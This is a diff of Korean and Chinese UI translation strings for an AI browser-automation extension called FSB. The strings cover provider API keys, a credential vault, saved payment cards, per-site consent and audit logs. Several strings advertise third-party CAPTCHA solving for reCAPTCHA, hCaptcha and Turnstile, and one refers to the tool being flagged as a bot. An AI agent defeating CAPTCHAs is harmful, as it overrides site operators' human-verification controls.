메모리를 저장할 수 있습니다. 별도의 AI 공급자 호출은 하지 않습니다. 끄면 이후 MCP 기록이 멈추고, 열려 있는 기록은 저장됩니다. 기존 MCP 재생 기록은 최근 50개 세션까지 보관하며, 설정한 보관 기간보다 오래 남는 세션은 없습니다. 오토파일럿 기록은 영향을 받지 않습니다." + }, + "panel_65b7096b6d": { + "message": "이 출처에서는 자동화가 금지되어 있습니다. " + }, + "panel_d50f8b527c": { + "message": "민감한 출처입니다. 기능 호출은 자동에서 실행될 수 있습니다. 네트워크 캡처 발견은 여전히 확인이 필요합니다." + }, + "panel_47d2a515ef": { + "message": "불러오는 중..." + }, + "panel_90e89ecfe7": { + "message": "다음 500개 이벤트 불러오기" + }, + "panel_935f2565d7": { + "message": "이벤트 불러오기 다시 시도" + }, + "panel_4eee87e82f": { + "message": "보관함 서비스에 연결할 수 없습니다" + }, + "panel_08bf951eda": { + "message": "보관함이 설정되지 않았습니다. 저장된 자격 증명을 보호하려면 만드세요." + }, + "panel_949bcb5f38": { + "message": "보관함이 잠겨 있습니다." + }, + "panel_30cef3bfb8": { + "message": "이 세션에서 보관함 잠금이 해제되었습니다." + }, + "panel_05dc3c4c0a": { + "message": "보관함 상태 확인 중 오류가 발생했습니다." + }, + "panel_890a216b7c": { + "message": "잠금 해제 중..." + }, + "panel_def70944c9": { + "message": "만드는 중..." + }, + "panel_93ad91e855": { + "message": "먼저 자격 증명 보관함의 잠금을 해제하세요." + }, + "panel_8221f05f8b": { + "message": "결제 수단이 잠겨 있습니다." + }, + "panel_0b4ba676b0": { + "message": "이 세션에서 결제 수단 잠금이 해제되었습니다." + }, + "panel_b82d31b688": { + "message": "결제 상태 확인 중 오류가 발생했습니다." + }, + "panel_b197ab1d9b": { + "message": "먼저 비밀번호에서 보관함 PIN을 설정하세요." + }, + "panel_160419ae70": { + "message": "결제 수단 잠금이 해제되었습니다." + }, + "panel_507fc32dc5": { + "message": "에이전트 편집" + }, + "panel_fb25598ed0": { + "message": "새 에이전트 만들기" + }, + "panel_6c02a28421": { + "message": "테스트 중..." + }, + "panel_22965568d2": { + "message": "연결됨" + }, + "panel_ee172faa9c": { + "message": "잘못된 키" + }, + "panel_031a8f0f65": { + "message": "실패" + }, + "panel_424a2551d3": { + "message": "만료됨" + }, + "panel_c7730178f4": { + "message": "새 코드 생성" + }, + "panel_ac116124f7": { + "message": "페어링 코드를 만들지 못했습니다. 다시 시도하세요." + }, + "panel_d03fd96d28": { + "message": "불러온 모델 선택..." + }, + "panel_e189657f5a": { + "message": "일치하는 모델이 없습니다" } } diff --git a/extension/_locales/zh_CN/messages.json b/extension/_locales/zh_CN/messages.json index 78fcdf626..ce37aee1e 100644 --- a/extension/_locales/zh_CN/messages.json +++ b/extension/_locales/zh_CN/messages.json @@ -396,5 +396,1259 @@ }, "shell_error_status": { "message": "错误" + }, + "panel_67b6964686": { + "message": "仪表盘" + }, + "panel_8ad747d05c": { + "message": "API 配置" + }, + "panel_8d261a372f": { + "message": "同步" + }, + "panel_703390318b": { + "message": "测试版" + }, + "panel_be146b37a0": { + "message": "密码" + }, + "panel_632e1c5839": { + "message": "付款" + }, + "panel_22d4f6088b": { + "message": "高级设置" + }, + "panel_c3963aedaa": { + "message": "记忆" + }, + "panel_480d3c119a": { + "message": "日志与调试" + }, + "panel_2ccff1d108": { + "message": "帮助与文档" + }, + "panel_db17c74beb": { + "message": "查看 AI 用量、费用和自动化表现" + }, + "panel_cd41bf0d3e": { + "message": "总 Token 数" + }, + "panel_dfa5cc738d": { + "message": "总费用" + }, + "panel_ada27592c9": { + "message": "请求" + }, + "panel_5068c6c343": { + "message": "成功率" + }, + "panel_d909750b1b": { + "message": "自动化" + }, + "panel_cddf50281d": { + "message": "Token 用量随时间变化" + }, + "panel_615c5daff4": { + "message": "过去 24 小时" + }, + "panel_b84372e5cb": { + "message": "过去 7 天" + }, + "panel_e9ddf63b38": { + "message": "过去 30 天" + }, + "panel_5e4bc34faf": { + "message": "配置 AI 模型提供方和 API 设置" + }, + "panel_9b3cf4a154": { + "message": "AI 模型配置" + }, + "panel_84e1ec2c5b": { + "message": "AI 提供方" + }, + "panel_994f468aae": { + "message": "选择其他提供方" + }, + "panel_e65d5614f4": { + "message": "自定义(兼容 OpenAI)" + }, + "panel_e69daa3849": { + "message": "API 提供方使用本地密钥。代理 CLI 使用现有的本地登录。" + }, + "panel_daa5fed227": { + "message": "选择其他 AI 提供方" + }, + "panel_822a9fabc1": { + "message": "此提供方已不能用于自动驾驶。开始新任务前,请选择并保存其他提供方。" + }, + "panel_5e2c614c23": { + "message": "模型" + }, + "panel_dfa17046ae": { + "message": "提供 API 密钥以列出模型" + }, + "panel_00889a77ec": { + "message": "选择要使用的 AI 模型" + }, + "panel_bc3286fa36": { + "message": "xAI API 密钥" + }, + "panel_a3fb46f4c6": { + "message": "在此获取 API 密钥" + }, + "panel_8e9faa30de": { + "message": "。密钥保存在此浏览器本地。" + }, + "panel_53bca734db": { + "message": "Gemini API 密钥" + }, + "panel_8418bdbdcd": { + "message": "OpenAI API 密钥" + }, + "panel_e07165f5ce": { + "message": "OpenAI 平台" + }, + "panel_959bc25166": { + "message": "Anthropic API 密钥" + }, + "panel_c481af39b2": { + "message": "Anthropic 控制台" + }, + "panel_36e0497429": { + "message": "OpenRouter API 密钥" + }, + "panel_84de34181d": { + "message": "。一把密钥即可使用 200 多种模型。" + }, + "panel_018833a024": { + "message": "LM Studio 服务器 URL" + }, + "panel_3efaf1b1c1": { + "message": "使用 LM Studio 的本地 OpenAI 兼容服务器。不需要 API 密钥。模型实时发现自" + }, + "panel_83419f15b8": { + "message": "自定义 API 端点" + }, + "panel_cfb67fffe3": { + "message": "输入兼容 OpenAI 的 API 端点完整 URL" + }, + "panel_acb781f972": { + "message": "自定义 API 密钥" + }, + "panel_5e2e7207a6": { + "message": "密钥保存在此浏览器本地。" + }, + "panel_abfe6d40e5": { + "message": "语音转文字" + }, + "panel_5303c4374c": { + "message": "使用 OpenAI Whisper" + }, + "panel_14e36783b5": { + "message": "需要 OpenAI API 密钥。关闭后使用浏览器自带的语音识别。" + }, + "panel_e1461bf33a": { + "message": "CAPTCHA 求解" + }, + "panel_2909841c62": { + "message": "启用 CAPTCHA 求解" + }, + "panel_1955b2ec44": { + "message": "使用 2Captcha 解决 reCAPTCHA v2、hCaptcha 和 Cloudflare Turnstile" + }, + "panel_5ac544cb2f": { + "message": "2Captcha API 密钥" + }, + "panel_a003f76423": { + "message": "在此注册" + }, + "panel_b6ff7ee96e": { + "message": "代理 CLI" + }, + "panel_a1272b91cf": { + "message": "正在检查登录..." + }, + "panel_d696a35bdd": { + "message": "配置文件" + }, + "panel_3ac8bbca9a": { + "message": "账单" + }, + "panel_cec3a9b89b": { + "message": "数据" + }, + "panel_ccf75fb483": { + "message": "连接 SuperGrok" + }, + "panel_acfc5be785": { + "message": "断开连接" + }, + "panel_1771a5d0f6": { + "message": "继续登录" + }, + "panel_888a2f4fc6": { + "message": "查看 SuperGrok 用量" + }, + "panel_d334745b85": { + "message": "安装指南" + }, + "panel_adadface01": { + "message": "未报告" + }, + "panel_5bbbe53187": { + "message": "登录" + }, + "panel_774bf7db76": { + "message": "认证状态" + }, + "panel_2e5f79bb94": { + "message": "正在检查..." + }, + "panel_02600e6189": { + "message": "正在验证 API 连接" + }, + "panel_c02977b07e": { + "message": "测试连接" + }, + "panel_3907fa7f80": { + "message": "外观" + }, + "panel_efb52e7172": { + "message": "主题" + }, + "panel_6725e7bbcd": { + "message": "跟随系统" + }, + "panel_60acc53f13": { + "message": "深色" + }, + "panel_dbcd5e7bb7": { + "message": "浅色" + }, + "panel_19766ed6cc": { + "message": "取消" + }, + "panel_1509f561f2": { + "message": "保存" + }, + "panel_35322b5bb5": { + "message": "保存更改" + }, + "panel_eb1a70e392": { + "message": "放弃" + }, + "panel_49e49bb440": { + "message": "生成" + }, + "panel_0e91610117": { + "message": "刷新" + }, + "panel_3664895579": { + "message": "导出" + }, + "panel_2cff9baabf": { + "message": "导入" + }, + "panel_78b7d0379d": { + "message": "授予" + }, + "panel_05a2d7332e": { + "message": "拒绝" + }, + "panel_ca7981b46e": { + "message": "关闭" + }, + "panel_b8c209cdea": { + "message": "询问" + }, + "panel_0286249762": { + "message": "自动" + }, + "panel_1a3a4b99db": { + "message": "还没有人报告 FSB 被识别为机器人并打断工作。不过并非每天都顺利。这是为不顺利的时候准备的。" + }, + "panel_1a187ac034": { + "message": ",充值后从仪表盘复制 API 密钥。可解决 reCAPTCHA v2、hCaptcha 和 Turnstile。" + }, + "panel_92f1115a37": { + "message": "FSB 使用此 CLI 现有的本地登录。测试连接会发送一个不含工具的小型验证请求。" + }, + "panel_cfaa352b86": { + "message": "xAI · 本地工具" + }, + "panel_fd05c3a95a": { + "message": "需要已审核的 Grok Build 1.0.4 配置。测试连接会核对安装、版本、隔离、ACP 和缓存的 OAuth,且不发送提示。" + }, + "panel_ce4f452059": { + "message": "使用已登录的 Grok 账户。SuperGrok 用量来自共享的每周额度;可能产生额外用量。" + }, + "panel_ba5c14963d": { + "message": "浏览器任务文本和 FSB 的 MCP 结果会发送给 Grok 做推理。FSB 会为这个私有配置关闭次要遥测和跟踪上传。" + }, + "panel_baf4338a6f": { + "message": "Anthropic · 本地工具" + }, + "panel_7b14b6ca11": { + "message": "使用已登录 Claude Code 的账户。FSB 不需要你的 Anthropic 凭据。" + }, + "panel_8cceeb4d83": { + "message": "用量和费用遵循该账户的 Claude 方案或 API 配置。" + }, + "panel_d9daa99f67": { + "message": "Claude Code 不会报告 FSB 可以安全读取的认证状态。" + }, + "panel_00604d2592": { + "message": "查看 Claude 方案和账单" + }, + "panel_b9f2d95fd0": { + "message": "微调自动化行为和性能" + }, + "panel_d987fa1b93": { + "message": "控制面板的外观" + }, + "panel_1b0daa3cbf": { + "message": "跟随操作系统外观。默认:跟随系统。" + }, + "panel_0c2634ded4": { + "message": "执行与限制" + }, + "panel_a429108292": { + "message": "自动化限制" + }, + "panel_a6db09cd31": { + "message": "控制任务执行边界" + }, + "panel_7f9bd64777": { + "message": "最大迭代次数" + }, + "panel_efb8da8405": { + "message": "防止自动化循环失控" + }, + "panel_217a08135e": { + "message": "DOM 分析" + }, + "panel_f57d34cd62": { + "message": "优化页面元素处理" + }, + "panel_f239d1c5e2": { + "message": "元素上限" + }, + "panel_a0981cec31": { + "message": "覆盖范围与速度的平衡" + }, + "panel_44551744d4": { + "message": "元素缓存大小" + }, + "panel_bc63ff6878": { + "message": "50(最小:简单页面)" + }, + "panel_6e13b13acc": { + "message": "100(轻量:普通页面)" + }, + "panel_f5e5f028c7": { + "message": "200(标准:推荐)" + }, + "panel_51a4656787": { + "message": "500(较重:复杂 SPA)" + }, + "panel_b497c0b77d": { + "message": "自定义..." + }, + "panel_3bba622285": { + "message": "缓存元素查找,加快重复查询。数值越高,复杂页面越快,内存占用也越高。" + }, + "panel_964b6d2feb": { + "message": "代理并发" + }, + "panel_93bdf716dc": { + "message": "同时运行的代理上限" + }, + "panel_05f46c29ed": { + "message": "并发上限" + }, + "panel_599bc7e4ae": { + "message": "恢复为建议值 (8)" + }, + "panel_26f41aac5c": { + "message": "必须在 1 到 64 之间" + }, + "panel_dd39c865d3": { + "message": "8 个中有 0 个在运行" + }, + "panel_8b2e97f4e5": { + "message": "触发器并发" + }, + "panel_1844d05c26": { + "message": "同时监视的触发器上限" + }, + "panel_5aa4aff46c": { + "message": "恢复为默认值 (8)" + }, + "panel_4f6e909317": { + "message": "自动化行为" + }, + "panel_87fb620509": { + "message": "操作变更报告" + }, + "panel_8807532414": { + "message": "每次操作附带返回的行内差异" + }, + "panel_5d2f08be69": { + "message": "返回操作变更报告(推荐)" + }, + "panel_814f4c658e": { + "message": "MCP 会话重放" + }, + "panel_d93120e9c3": { + "message": "MCP 代理操作的本地精确历史" + }, + "panel_e3d0d26ac8": { + "message": "记录 MCP 会话以便重放" + }, + "panel_8c338dcb22": { + "message": "MCP 重放保留天数" + }, + "panel_a3a33e657a": { + "message": "性能优化" + }, + "panel_318ba4fefb": { + "message": "启用智能功能以提高速度和准确性" + }, + "panel_718ec50194": { + "message": "增量差异" + }, + "panel_4df3ccd4f7": { + "message": "首次扫描后只发送 DOM 变化(上下文减少 70-90%)" + }, + "panel_386c10cfbb": { + "message": "视口优先" + }, + "panel_55b7c33a00": { + "message": "聚焦可见元素,获得更快、更相关的结果" + }, + "panel_56cb122532": { + "message": "AI 站点地图优化" + }, + "panel_bbabb56b4f": { + "message": "用 AI 自动优化站点地图,以发现导航策略和工作流" + }, + "panel_6a63ec792f": { + "message": "视觉反馈" + }, + "panel_d9db4fd5a6": { + "message": "控制自动化期间的视觉提示" + }, + "panel_882726c86c": { + "message": "操作的动画高亮" + }, + "panel_525c3926bb": { + "message": "执行操作时在元素周围显示脉动光晕" + }, + "panel_b8c545e36f": { + "message": "侧边栏步骤进度" + }, + "panel_cd7487b136": { + "message": "自动化期间在侧边栏显示操作步骤" + }, + "panel_915c0ef81c": { + "message": "隐私与开发者" + }, + "panel_02d7d5cfae": { + "message": "语音输入" + }, + "panel_936f490e8e": { + "message": "控制 FSB 侧边栏中的麦克风输入" + }, + "panel_92f7b96921": { + "message": "启用麦克风语音输入" + }, + "panel_e007c1f5fd": { + "message": "正在检查麦克风权限…" + }, + "panel_7df7702416": { + "message": "Chrome 管理整个扩展程序的麦克风授权。" + }, + "panel_5e09a0b0eb": { + "message": "启用麦克风" + }, + "panel_2c0acdeddf": { + "message": "打开 Chrome 设置" + }, + "panel_d7de9cfa12": { + "message": "开发者选项" + }, + "panel_fef2fc10ae": { + "message": "用于调试和排查的工具" + }, + "panel_5f75368293": { + "message": "调试模式" + }, + "panel_64b2d259ae": { + "message": "启用详细控制台日志,以便排查自动化问题" + }, + "panel_38d35a351e": { + "message": "隐私与遥测" + }, + "panel_21bf1bebea": { + "message": "匿名使用数据" + }, + "panel_451d787c00": { + "message": "发送匿名使用数据" + }, + "panel_57f9a109d4": { + "message": "已用 Token、MCP 客户端名称、活动代理数量。不含网址、提示或 DOM。" + }, + "panel_9ec9376910": { + "message": "阅读完整政策 →" + }, + "panel_04dfac3671": { + "message": "未连接" + }, + "panel_acf2db1614": { + "message": "服务器同步" + }, + "panel_609bbbdf07": { + "message": "哈希密钥" + }, + "panel_534803768c": { + "message": "配对仪表盘" + }, + "panel_9a177de63c": { + "message": "扫码配对" + }, + "panel_43e3ece73f": { + "message": "剩余" + }, + "panel_5ad3dbd124": { + "message": "知道了" + }, + "panel_c9b3c38247": { + "message": "合计" + }, + "panel_a69c4dece1": { + "message": "存储" + }, + "panel_ae65d09655": { + "message": "容量" + }, + "panel_a039dfb962": { + "message": "Token 数" + }, + "panel_4bc74b2135": { + "message": "任务" + }, + "panel_2f36130ebc": { + "message": "合并" + }, + "panel_ddceb7adfd": { + "message": "全部清除" + }, + "panel_6cc8519b91": { + "message": "开始" + }, + "panel_d3f7409ad7": { + "message": "全部停止" + }, + "panel_f00611c47f": { + "message": "按你的系统自动建议。范围 1 到 64。较低则资源使用更可预期,较高则并行代理更多。运行中降低此值不会赶走现有代理;超出新上限的新请求会被拒绝。" + }, + "panel_bfd6b0808c": { + "message": "默认 8。范围 1 到 64。较低则资源使用更可预期,较高则并行监视更多。监视中降低此值不会停止现有监视;超出新上限的新触发器会被拒绝。" + }, + "panel_552aa7152b": { + "message": "返回紧凑差异,说明每次操作改变了什么,这样 AI 不必重新阅读页面。默认开启。" + }, + "panel_bb0522a484": { + "message": "默认 30。范围 1 到 365 天。只会自动删除过期的 MCP 重放会话;自动驾驶历史不会因此被裁剪。" + }, + "panel_77f6039567": { + "message": "在侧边栏显示麦克风,并允许浏览器语音识别或 OpenAI Whisper。默认开启。" + }, + "panel_509f0b9d50": { + "message": "关闭语音输入后,FSB 不再使用麦克风,但不会撤销 Chrome 已保存的权限。" + }, + "panel_76e917ee87": { + "message": "将此扩展程序与 FSB 仪表盘配对,以便远程控制和保存结果" + }, + "panel_c11de3bb2e": { + "message": "连接 FSB 服务器以保存结果并访问仪表盘" + }, + "panel_097b5fa7f6": { + "message": "生成密钥,然后配对仪表盘,将此浏览器连到 FSB 服务器。" + }, + "panel_75d0625c55": { + "message": "后台代理已经离开" + }, + "panel_d17d0cfd98": { + "message": "FSB 专注于一次到位的精确浏览器执行。定时和重复任务更适合专为此设计的工具:" + }, + "panel_5a694f4532": { + "message": "用于开源代理循环,以及" + }, + "panel_6e34781c2f": { + "message": "用于托管的长时间自动化。选择适合你工作方式的那个。" + }, + "panel_e76c360683": { + "message": "试用 OpenClaw" + }, + "panel_1a58d9154d": { + "message": "试用 Claude Routines" + }, + "panel_582ba53e9e": { + "message": "已在 v0.9.45rc1 停用 · 2026 年 4 月" + }, + "panel_daa7068396": { + "message": "你以前的代理" + }, + "panel_3107f72f47": { + "message": "曾在此配置中的代理名称保留在这里,以免感觉丢失。定义仍在 chrome.storage.local['bgAgents'](未改动)。" + }, + "panel_9f83a0b7bf": { + "message": "从过往自动化会话中学到的长期记忆" + }, + "panel_76a6bcf157": { + "message": "自动分析" + }, + "panel_50d0c5511b": { + "message": "情景" + }, + "panel_9c11c99c77": { + "message": "语义" + }, + "panel_2e3e91ffbd": { + "message": "程序" + }, + "panel_ee6cfab445": { + "message": "费用(30 天)" + }, + "panel_bc01325482": { + "message": "所有类型" + }, + "panel_96452046b5": { + "message": "还没有保存的记忆。记忆会从已完成的自动化会话中自动提取。" + }, + "panel_ba7fab765c": { + "message": "侦察" + }, + "panel_cf0e1ec867": { + "message": "抓取网站,绘制其交互结构、导航和选择器" + }, + "panel_ad2f160b7b": { + "message": "最大深度" + }, + "panel_53e4d8efcc": { + "message": "最大页数" + }, + "panel_8ccc2c0e78": { + "message": "研究结果" + }, + "panel_452d842e33": { + "message": "查看并下载站点侦察数据,或保存为站点地图记忆" + }, + "panel_df63a2da5f": { + "message": "还没有研究结果。使用上方的侦察来抓取网站。" + }, + "panel_30c19209ac": { + "message": "合并记忆" + }, + "panel_ba41142e62": { + "message": "站点地图" + }, + "panel_bb501d7877": { + "message": "社区" + }, + "panel_d4b1ea5708": { + "message": "概览" + }, + "panel_e72d5d8d0b": { + "message": "展开" + }, + "panel_73cde2ba51": { + "message": "电商与购物" + }, + "panel_8dfdbc2ef4": { + "message": "社交媒体" + }, + "panel_6c335e2a76": { + "message": "金融与交易" + }, + "panel_822c302ddc": { + "message": "旅行与预订" + }, + "panel_7b1b7b315b": { + "message": "电子邮件平台" + }, + "panel_cbb811ada2": { + "message": "编程平台" + }, + "panel_c47f423a0a": { + "message": "职业与求职" + }, + "panel_08cf7301b0": { + "message": "游戏平台" + }, + "panel_2d995d5860": { + "message": "效率工具" + }, + "panel_95bfe584eb": { + "message": "设计与白板" + }, + "panel_d9dae78103": { + "message": "游戏" + }, + "panel_d357175cfe": { + "message": "媒体" + }, + "panel_6eb00b4b26": { + "message": "音乐" + }, + "panel_69752f2313": { + "message": "新闻" + }, + "panel_71bf90935f": { + "message": "参考" + }, + "panel_9b1f5daf0a": { + "message": "体育" + }, + "panel_0a035c2b85": { + "message": "工具" + }, + "panel_4b7ef9d8cd": { + "message": "监视自动化活动并排查问题" + }, + "panel_65e5078378": { + "message": "清除日志" + }, + "panel_5ddbf16ab1": { + "message": "导出日志" + }, + "panel_03f1acb9e6": { + "message": "全部日志" + }, + "panel_ee585cc4bd": { + "message": "仅错误" + }, + "panel_0b3ff2c6ee": { + "message": "警告与错误" + }, + "panel_2d9e112fc2": { + "message": "信息及以上" + }, + "panel_122df75095": { + "message": "FSB 控制面板已成功加载" + }, + "panel_edeead3f19": { + "message": "会话历史" + }, + "panel_fba294fa8b": { + "message": "查看并导出过往自动化会话的日志" + }, + "panel_7a28e26099": { + "message": "清除所有会话" + }, + "panel_600cf8138b": { + "message": "还没有记录的会话。运行自动化任务后,会话日志会显示在这里。" + }, + "panel_e38737d4e5": { + "message": "分析调试工具" + }, + "panel_c0b1dd0e52": { + "message": "测试并验证分析数据收集" + }, + "panel_bc93dddbb3": { + "message": "测试 Token 跟踪" + }, + "panel_4267998cbe": { + "message": "查看存储数据" + }, + "panel_056a9215e5": { + "message": "清除分析数据" + }, + "panel_2ed2274015": { + "message": "导出数据" + }, + "panel_a239457076": { + "message": "调试输出:" + }, + "panel_38b6a17864": { + "message": "同意与审计" + }, + "panel_94ef5e0fd6": { + "message": "下面的默认值适用于你尚未配置的每个网站;按来源列表可以把个别网站排除。" + }, + "panel_6e133ee86d": { + "message": "新网站的默认值" + }, + "panel_9693a6dbf3": { + "message": "金融和政府服务始终被阻止,与此设置无关。出厂为自动;设为关闭可恢复严格的逐项启用。" + }, + "panel_01914d2038": { + "message": "按来源同意" + }, + "panel_96db3ff001": { + "message": "除非你在这里覆盖,否则每个网站都遵循上面的默认值。把网站设为关闭后,FSB 不再在该网站上操作。" + }, + "panel_48cfb671aa": { + "message": "还没有网站。FSB 操作过的每个网站都会出现在这里,你可以设为关闭。新网站遵循上面的默认值。" + }, + "panel_2c64c030d4": { + "message": "敏感" + }, + "panel_18f2a0947f": { + "message": "已阻止" + }, + "panel_5f351832fd": { + "message": "允许会修改的(写入)调用" + }, + "panel_45a8c38cdf": { + "message": "POST/PUT/PATCH/DELETE 的兼容元数据。在自动模式下,FSB 可以对未阻止的来源进行读写。" + }, + "panel_87b1794408": { + "message": "待处理请求" + }, + "panel_0334c4fb39": { + "message": "0 个待处理" + }, + "panel_10fd874b68": { + "message": "写入" + }, + "panel_47751f88ed": { + "message": "审计日志" + }, + "panel_818cb91030": { + "message": "导出日志" + }, + "panel_533e26bdcc": { + "message": "清除日志" + }, + "panel_33b93476cf": { + "message": "时间" + }, + "panel_d3e1c5f8a6": { + "message": "来源" + }, + "panel_5faf58a69d": { + "message": "能力" + }, + "panel_52a0f9b65b": { + "message": "方法" + }, + "panel_bce87826df": { + "message": "副作用" + }, + "panel_d37e0cd00f": { + "message": "同意" + }, + "panel_4e80abb5b1": { + "message": "结果" + }, + "panel_5934628d0f": { + "message": "法律与服务政策" + }, + "panel_fea0aab06e": { + "message": "阅读法律立场 →" + }, + "panel_4fc14539b2": { + "message": "查看已阻止的服务 →" + }, + "panel_efc0b9cac2": { + "message": "隐私政策 →" + }, + "panel_bfe73827c5": { + "message": "启用自动登录" + }, + "panel_bbf6a83734": { + "message": "凭据保险库" + }, + "panel_07dd5f0064": { + "message": "正在检查保险库状态..." + }, + "panel_50b231118c": { + "message": "锁定保险库" + }, + "panel_ac22d297f8": { + "message": "选择 PIN 长度" + }, + "panel_3e785bbc44": { + "message": "4 位" + }, + "panel_7856e511a2": { + "message": "6 位" + }, + "panel_f246c76813": { + "message": "输入 PIN" + }, + "panel_4fa10c7baa": { + "message": "确认 PIN" + }, + "panel_73134c8143": { + "message": "设置保险库" + }, + "panel_872ac152d2": { + "message": "输入 PIN 以解锁" + }, + "panel_b41986e3f5": { + "message": "解锁保险库" + }, + "panel_c1dc92c680": { + "message": "新增" + }, + "panel_35d74dfd8d": { + "message": "添加凭据" + }, + "panel_85a85dc9a2": { + "message": "网站 / 域名" + }, + "panel_657144f3f7": { + "message": "用户名 / 邮箱" + }, + "panel_e7cf3ef4f1": { + "message": "密码" + }, + "panel_6239b93e96": { + "message": "备注(可选)" + }, + "panel_9caa27b9d0": { + "message": "允许此凭据用于子域名" + }, + "panel_8816182605": { + "message": "例如:为以下地址保存的凭据" + }, + "panel_eb1c90412b": { + "message": "也可用于" + }, + "panel_195ab9772f": { + "message": "启用已保存的付款方式" + }, + "panel_b45d64e4a3": { + "message": "已保存的付款方式" + }, + "panel_a92743920d": { + "message": "正在检查付款方式状态..." + }, + "panel_bbc3d7eb41": { + "message": "锁定付款方式" + }, + "panel_24e06db48e": { + "message": "打开密码" + }, + "panel_186f818f5f": { + "message": "解锁已保存的付款方式" + }, + "panel_82f87079c6": { + "message": "添加卡片" + }, + "panel_b610b1ecca": { + "message": "添加付款方式" + }, + "panel_7cbcb92acd": { + "message": "昵称(可选)" + }, + "panel_85dfa9ba97": { + "message": "显示在卡片选择器和已保存卡片列表中。" + }, + "panel_d6bc26851d": { + "message": "持卡人姓名" + }, + "panel_4566e068a2": { + "message": "卡号" + }, + "panel_b764cdc0ea": { + "message": "未知" + }, + "panel_25ec19a82f": { + "message": "输入时会自动识别卡组织。" + }, + "panel_43533009b2": { + "message": "到期月份" + }, + "panel_310ca503ef": { + "message": "月" + }, + "panel_ca7aaef8c5": { + "message": "到期年份" + }, + "panel_8a944d3d0e": { + "message": "账单姓名" + }, + "panel_1b77352e0b": { + "message": "账单地址第 1 行" + }, + "panel_ff2bc02380": { + "message": "账单地址第 2 行(可选)" + }, + "panel_fc33f73246": { + "message": "城市" + }, + "panel_9630a4b030": { + "message": "州 / 地区" + }, + "panel_8198b202a8": { + "message": "邮政编码" + }, + "panel_701d021d08": { + "message": "国家" + }, + "panel_d00eca1bae": { + "message": "入门" + }, + "panel_c772928cb0": { + "message": "了解使用 FSB 进行浏览器自动化的基础" + }, + "panel_584aa47f13": { + "message": "访问网站" + }, + "panel_b50c780ec8": { + "message": "引导式设置" + }, + "panel_01c470e51f": { + "message": "重新开始设置" + }, + "panel_c205924de0": { + "message": "文档" + }, + "panel_ed16cec106": { + "message": "查看仓库" + }, + "panel_4c4a152a2b": { + "message": "支持与常见问题" + }, + "panel_7302582a6f": { + "message": "打开支持" + }, + "panel_d4a48a753a": { + "message": "MCP 设置" + }, + "panel_2df575344e": { + "message": "查看 MCP 指南" + }, + "panel_506ff39462": { + "message": "隐私政策" + }, + "panel_377733b622": { + "message": "查看隐私政策" + }, + "panel_666067dd37": { + "message": "议题" + }, + "panel_cf82dd02e8": { + "message": "查看议题" + }, + "panel_bc47da663d": { + "message": "源代码" + }, + "panel_6209d4d395": { + "message": "查看 GitHub" + }, + "panel_bd4702c187": { + "message": "发行说明" + }, + "panel_1705ccc5a5": { + "message": "查看版本" + }, + "panel_c011d6097b": { + "message": "许可证" + }, + "panel_b392d33f2e": { + "message": "查看许可证" + }, + "panel_a4b17bc7db": { + "message": "你有未保存的更改" + }, + "panel_8e0f9288e2": { + "message": "FSB 如何对待你尚未配置的网站。自动允许 FSB 调用任何未阻止网站的已认证 API(读取和写入)。关闭要求你先逐个启用网站。询问会把请求排队等待你批准。" + }, + "panel_811f8544eb": { + "message": "等待你决定的请求。授予后调用方可以重试;未经你批准,FSB 不会行动。" + }, + "panel_b04eb08367": { + "message": "没有待处理请求。工具需要同意时会显示在这里。你也可以从上方列表提前授予访问。" + }, + "panel_1fdd802663": { + "message": "能力调用的经脱敏、只追加记录。从不保存参数、Token、Cookie 或响应正文。" + }, + "panel_787513f4fd": { + "message": "还没有审计条目。允许某个来源后,能力调用会记录在这里。条目已脱敏,且只保存在本地。" + }, + "panel_323d6ff1f1": { + "message": "FSB 的自动化立场、审计保留和同意模型记录在 LEGAL.md 中。部分来源被服务拒绝列表排除在自动化之外。" + }, + "panel_e31b2a3d3f": { + "message": "管理已保存的凭据和用于辅助登录的共享保险库" + }, + "panel_93f508370d": { + "message": "启用后,FSB 会检测登录页,并用已保存的凭据提议自动登录" + }, + "panel_10f7c25d31": { + "message": "选择 PIN 以保护已保存的凭据。现有旧凭据会自动迁移。" + }, + "panel_50c3db852a": { + "message": "解锁后可查看、编辑、自动填写或保存密码。" + }, + "panel_b6680d54b2": { + "message": "此浏览器会话的保险库已解锁。已保存的凭据显示在下方。" + }, + "panel_8d5ab0fe44": { + "message": "自动登录目前已关闭。你仍可在此管理已保存的凭据,但在启用之前,FSB 不会自动使用或保存它们。" + }, + "panel_c533cc0b87": { + "message": "还没有已保存的凭据。自动化期间登录时会自动保存,也可以手动添加。" + }, + "panel_0153e2da59": { + "message": "输入网站域名(例如 github.com、mail.google.com)" + }, + "panel_83c6ad5aef": { + "message": "管理用于辅助结账的已保存卡片。付款方式共用在密码中配置的凭据保险库。" + }, + "panel_ff7378d58d": { + "message": "启用后,FSB 可以在结账页提示填写已保存的卡片。它从不会自动提交最终付款。" + }, + "panel_7d1624ea92": { + "message": "管理已保存的付款方式之前,请先解锁凭据保险库。" + }, + "panel_ad5f8e8263": { + "message": "输入保险库 PIN 以解锁付款方式" + }, + "panel_2035e1f48d": { + "message": "已保存的卡片使用同一个加密保险库,但在此浏览器会话中填写结账前需要单独解锁。" + }, + "panel_0ec4dc2534": { + "message": "此浏览器会话的已保存付款方式已解锁。FSB 可以在检测到的结账页提示填写已保存卡片,但从不会自动提交最终付款。" + }, + "panel_5d38d8a7cf": { + "message": "已保存的付款方式目前已关闭。你仍可在此管理已存卡片,但在启用该功能之前,FSB 不会在结账时提供它们。" + }, + "panel_2fd67f06e0": { + "message": "还没有已保存的付款方式。在此添加卡片后,解锁付款访问,FSB 就可以在结账页提供它。" + }, + "panel_928895f662": { + "message": "CVV 和账单资料以加密形式保存在本地保险库中。使用此功能前,请检查本机设备的安全。" + }, + "panel_39d561254a": { + "message": "保存卡片" + }, + "panel_e4d896bcce": { + "message": "获取帮助并进一步了解 FSB 功能" + }, + "panel_32623395c6": { + "message": "重新运行新手引导,以更改提供方或 MCP 设置" + }, + "panel_db4cec18bf": { + "message": "FSB 的完整文档和设置指南" + }, + "panel_63dfe63d28": { + "message": "浏览常见问题并修复常见连接问题" + }, + "panel_d2286811e6": { + "message": "连接 Claude Code 和 Cursor 等 MCP 客户端,然后用 doctor 命令验证" + }, + "panel_f3cb441c27": { + "message": "阅读 FSB 如何处理数据、存储和可选的服务器同步" + }, + "panel_476481e410": { + "message": "报告缺陷、请求功能并跟踪开发进度" + }, + "panel_89b47ad370": { + "message": "查看源代码并为 FSB 开发做贡献" + }, + "panel_f775bb5cbf": { + "message": "查看每个 FSB 版本的新增和变更" + }, + 